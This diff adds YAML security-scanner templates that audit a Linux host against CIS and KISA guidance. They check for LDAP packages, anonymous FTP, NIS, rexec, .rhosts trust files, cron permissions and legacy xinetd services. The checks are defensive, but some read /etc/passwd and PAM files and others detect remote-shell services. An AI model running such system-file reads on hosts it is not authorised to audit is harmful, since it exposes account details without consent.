+    The ldap-utils package provides LDAP client utilities that allow systems to query and interact with LDAP directories.If not explicitly required, it should be removed to minimize the system’s attack surface and reduce security risks.
+  remediation: |
+    - Ensure the ldap-utils package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove ldap-utils -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,ldap
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the ldap-utils package is installed
+        if dpkg-query -W -f='${Status}' ldap-utils 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ldap-client-check:Policy-Fail] [ldap-utils is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ldap-client-check:Policy-Pass] [ldap-utils is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100ff8778e0ae1fc773a1a46f288bcfb1d5e232d50fe42361d05d96bca924ecae6e0221009d492ae0f7a531cea826f1e264d8b8418a9656c6f5fa3d0ce75fb7ff9ba9b54b:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: ldap-server
+
+info:
+  name: Ensure LDAP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The slapd package provides the OpenLDAP server, which manages directory and identity services. If not explicitly required, having this service installed unnecessarily increases the system’s attack surface.
+  remediation: |
+    - Run: sudo apt-get remove slapd -y
+    - This removes the LDAP server package to reduce the system’s attack surface.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s slapd &>/dev/null; then
+          echo "[ldap-server-check:Policy-Fail] [slapd is installed] [CIS_FAIL]"
+        else
+          echo "[ldap-server-check:Policy-Pass] [slapd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 490a0046304402207ee6e7e7e9c66d8b9fbe1f829c03f27090298ed7f861d88bc570582c65810e1b022037d531ff744abf9677b2d15b3de6cfd80dc77b99613de661fe80dd7b6d91edc6:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,31 @@
+id: linux-account-lockout-threshold
+
+info:
+  name: Linux Account Lockout Threshold Check
+  author: songyaeji
+  severity: high
+  description: |
+    The system did not enforce an account lockout threshold, leaving it exposed to brute-force attacks through unrestricted login attempts.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/
+  metadata:
+    verified: true
+  tags: local,linux,kisa,audit,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      grep -E 'pam_tally2.so|pam_faillock.so' \
+        /etc/pam.d/system-auth /etc/pam.d/password-auth /etc/pam.d/common-auth \
+        2>/dev/null || echo "no-lockout-config"
+
+    matchers:
+      - type: word
+        name: no-config
+        part: response
+        words:
+          - "no-lockout-config"
+# digest: 4b0a00483046022100ddbb8ad3614b22b608c14fd9c974fd7024e21bda73426b584045cf5f7270303d022100cd10a4cc0e4cf5302c7760c004a52a3ef979541703ca6130a740ec39dcb99c43:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
+id: linux-anonymous-ftp-enabled
+
+info:
+  name: Linux Anonymous FTP Access Enabled
+  author: songyaeji
+  severity: high
+  description: |
+    FTP account allows malicious users to exploit it to log in anonymously and write to directories, potentially gaining unauthorized access or executing local exploits.This template checks for signs of anonymous FTP being enabled via /etc/passwd, vsFTPD, or ProFTPD configuration files.
+  reference:
+    - https://isms.kisa.or.kr
+  metadata:
+    verified: true
+  tags: linux,local,kisa,audit,ftp,anonymous,local
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      if grep -q -E '^ftp:' /etc/passwd; then
+          echo "[VULNERABLE] FTP user exists in /etc/passwd"
+      else
+          echo "[SAFE] No FTP user found in /etc/passwd"
+      fi
+
+      # Check vsftpd anonymous login
+      if grep -q -i 'anonymous_enable.*yes' /etc/vsftpd/vsftpd.conf 2>/dev/null; then
+          echo "[VULNERABLE] anonymous_enable=YES in vsftpd.conf"
+      else
+          echo "[SAFE] Anonymous login disabled in vsftpd.conf"
+      fi
+
+      # Check proftpd anonymous login
+      if grep -q -i 'UserAlias.*anonymous' /etc/proftpd/proftpd.conf 2>/dev/null; then
+          echo "[VULNERABLE] UserAlias anonymous in proftpd.conf"
+      else
+          echo "[SAFE] Anonymous login disabled in proftpd.conf"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a00473045022055559b14fc854e4092076348e8112d3c5de9cc61c672ae22a6c3c0338bb8297d022100b710a746d9e1137f08fe0e7a9598b87866051c238f885376e2c0ab28d57fe15a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
+id: linux-automountd-enabled
+
+info:
+  name: Automountd Service Enabled
+  author: songyaeji
+  severity: medium
+  description: |
+    The automountd service, when enabled or running, allowed a local attacker to execute arbitrary commands with root privileges by exploiting automatic mount options. This misconfiguration led to local privilege escalation.
+  reference:
+    - https://isms.kisa.or.kr
+  metadata:
+    verified: true
+  tags: local,linux,privesc,kisa
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      whoami
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      if pgrep -x "automountd" > /dev/null; then
+        echo "[VULNERABLE] automountd service is running"
+      else
+        echo "[SAFE] automountd service is not running"
+      fi
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root"
+        negative: true
+
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a0047304502203bae281737c0bf4a782527ac4b1f087046778d156478e8942e0f62bc57de275602210080d389c9fdfcdb96b3290985fcbba51ad85076327ed6aabd5af318ba4dc0f0e2:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,51 @@
+id: linux-cron-permissions-check
+
+info:
+  name: Cron Access File Ownership & Permissions
+  author: songyaeji
+  severity: high
+  description: |
+    /etc/cron.allow and /etc/cron.deny (if present) were required to be owned by root (UID 0) with strict 640 permissions.If neither file existed, only the root user could use cron, which was considered the safe default behavior.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: local,linux,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      result=""
+
+      check_file() {
+        file=$1
+        if [ -f "$file" ]; then
+          owner=$(stat -c "%u" "$file")   # numeric UID
+          perm=$(stat -c "%a" "$file")   # permissions
+          if [ "$owner" -ne 0 ] || [ "$perm" -ne 640 ]; then
+            result+="[WARN] $file misconfigured\n"
+          fi
+        fi
+      }
+
+      check_file /etc/cron.allow
+      check_file /etc/cron.deny
+
+      if [ -n "$result" ]; then
+        echo -e "$result"
+      else
+        if [ ! -f /etc/cron.allow ] && [ ! -f /etc/cron.deny ]; then
+          echo "[OK] no cron access files found (default safe behavior)"
+        else
+          echo "[OK] cron files properly configured"
+        fi
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[WARN] /etc/cron.allow misconfigured"
+          - "[WARN] /etc/cron.deny misconfigured"
+# digest: 490a004630440220180a1385922d6792b7c466fde7a1f487c47fe0525a02e7adf73eea1cc50e8d100220684a7e5fd3ca7898c61cde73008a3725f8753709b7ea323a254b27a075c3ff1f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,76 @@
+id: linux-legacy-services-enabled
+
+info:
+  name: DoS Vulnerable Service Enabled
+  author: songyaeji
+  severity: high
+  description: |
+    Services such as echo, discard, daytime, and chargen were enabled on the system, allowing attackers to exploit them to extract system information or launch denial-of-service (DoS) attacks.These legacy services were required to be disabled unless explicitly needed.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: local,linux,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      if [ -f "/etc/xinetd.d/echo" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/echo"; then
+        echo "[VULNERABLE] echo service is enabled in /etc/xinetd.d/echo"
+      else
+        echo "[SAFE] echo service is disabled or not present"
+      fi
+
+  - engine:
+      - bash
+    source: |
+      if [ -f "/etc/xinetd.d/discard" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/discard"; then
+        echo "[VULNERABLE] discard service is enabled in /etc/xinetd.d/discard"
+      else
+        echo "[SAFE] discard service is disabled or not present"
+      fi
+
+  - engine:
+      - bash
+    source: |
+      if [ -f "/etc/xinetd.d/daytime" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/daytime"; then
+        echo "[VULNERABLE] daytime service is enabled in /etc/xinetd.d/daytime"
+      else
+        echo "[SAFE] daytime service is disabled or not present"
+      fi
+
+  - engine:
+      - bash
+    source: |
+      if [ -f "/etc/xinetd.d/chargen" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/chargen"; then
+        echo "[VULNERABLE] chargen service is enabled in /etc/xinetd.d/chargen"
+      else
+        echo "[SAFE] chargen service is disabled or not present"
+      fi
+
+    matchers:
+      - type: word
+        name: echo
+        part: code_1_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: daytime
+        part: code_2_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: chargen
+        part: code_3_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: discard
+        part: code_4_response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a0047304502202cf91c265090819bbe6e79552565776586d650aba479c020577e231fe19482af022100d2ed2e30103881d316dbe4f9d4b517a6e63b4c44a950ce6c5f1468f23914491d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: linux-nis-service
+
+info:
+  name: NIS Service Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+    Evaluated the status of NIS service daemons on the system. Active NIS services could have permitted unauthorized users to escalate privileges or access sensitive account information, posing a significant security risk.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if command -v systemctl >/dev/null 2>&1; then
+          if systemctl is-active --quiet ypserv ypbind; then
+              echo "[VULNERABLE] NIS service is running"
+              systemctl status ypserv ypbind
+          else
+              echo "[SAFE] NIS service is not running"
+          fi
+      else
+          running=$(ps -ef | egrep "ypserv|ypbind" | grep -v grep)
+          if [ -n "$running" ]; then
+              echo "[VULNERABLE] NIS service is running"
+              echo "$running"
+          else
+              echo "[SAFE] NIS service is not running"
+          fi
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a00473045022100b5b0f42b84f5cd2ca06b1a201d906667dc91a01dfd53273bdc01b3a65cc4595d0220603376d78e13e2573dd6af85849d0e5c9d897410e6be681645167165bc5d2a62:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: linux-nisplus-service
+
+info:
+  name: NIS+ Service Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+    Evaluated the status of NIS+ service daemons on the system.Active NIS+ services could have permitted unauthorized users to escalate privileges or access sensitive account information, representing a significant security risk.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if command -v systemctl >/dev/null 2>&1; then
+          if systemctl is-active --quiet rpc.yppasswdd rpc.yppupdated ypxfrd; then
+              echo "[VULNERABLE] NIS+ service is running"
+              systemctl status rpc.yppasswdd rpc.yppupdated ypxfrd
+          else
+              echo "[SAFE] NIS+ service is not running"
+          fi
+      else
+          running=$(ps -ef | egrep "rpc.yppasswdd|rpc.yppupdated|ypxfrd" | grep -v grep)
+          if [ -n "$running" ]; then
+              echo "[VULNERABLE] NIS+ service is running"
+              echo "$running"
+          else
+              echo "[SAFE] NIS+ service is not running"
+          fi
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4b0a00483046022100ec34476a472e1a3b3be1d9a49138bc89f071403a821f0a1faef12d98134ca6fa022100ca746f642a4eb1564535e3ceafdde417713b4d795f53ecd7c874cae12a7587f8:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,31 @@
+id: linux-rexec-service
+
+info:
+  name: rexec Service Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+    Assessed the operational status of the rexec service on the system.Running rexec could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rexec 2>/dev/null; then
+          echo "[VULNERABLE] rexec service is enabled"
+      else
+          echo "[SAFE] rexec service is disabled"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 490a00463044022003bbbed1e0bd7a6f80f662b6ecc935324f16f9097cf8c7fddaebca4e567fc26f02204a000af2bb0c14fb63940f14fd5e04647a2e49f2d56fecb1555ec9573f42c439:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,60 @@
+id: linux-rhosts-hostsequiv-misconfig
+
+info:
+  name: Rhosts and Hosts.equiv Misconfiguration Check
+  author: songyaeji
+  severity: high
+  description: |
+    Assessed the presence and configuration of .rhosts and /etc/hosts.equiv files. Files with unsafe '+' entries, incorrect permissions, or improper ownership could have permitted unauthorized remote command execution via rlogin or rsh.
+  reference:
+    - https://isms.kisa.or.kr
+    - https://linux.die.net/man/5/hosts.equiv
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      check_hosts_equiv() {
+          if [ -f /etc/hosts.equiv ]; then
+              echo "[FOUND] /etc/hosts.equiv exists"
+              ls -l /etc/hosts.equiv
+              if grep -q '^\+' /etc/hosts.equiv; then
+                  echo "[WARN] Unsafe '+' entry found in /etc/hosts.equiv"
+              fi
+              perms=$(stat -c "%a" /etc/hosts.equiv)
+              owner=$(stat -c "%U" /etc/hosts.equiv)
+              if [ "$perms" -gt 644 ] || [ "$owner" != "root" ]; then
+                  echo "[WARN] /etc/hosts.equiv has improper permissions or ownership"
+              fi
+          fi
+      }
+
+      check_rhosts() {
+          find /home /root -maxdepth 2 -name ".rhosts" 2>/dev/null | while read rhost; do
+              echo "[FOUND] $rhost"
+              ls -l "$rhost"
+              if grep -q '^\+' "$rhost"; then
+                  echo "[WARN] Unsafe '+' entry found in $rhost"
+              fi
+              perms=$(stat -c "%a" "$rhost")
+              owner=$(stat -c "%U" "$rhost")
+              if [ "$perms" -gt 600 ] || [ "$owner" != "root" ]; then
+                  echo "[WARN] $rhost has improper permissions or ownership"
+              fi
+          done
+      }
+
+      check_hosts_equiv
+      check_rhosts
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "/etc/hosts.equiv"
+          - ".rhosts"
+          - "[WARN]"
+# digest: 490a00463044022055990939cd2ff6e0a667754a6946d386089f4113dec88883b5db24420baf3ebc022058e5e428009c5edab46a409bddb9a4ea3104561a85f3683e1c5ee940a6315038:922c64590222798bb761d5b6d8e72950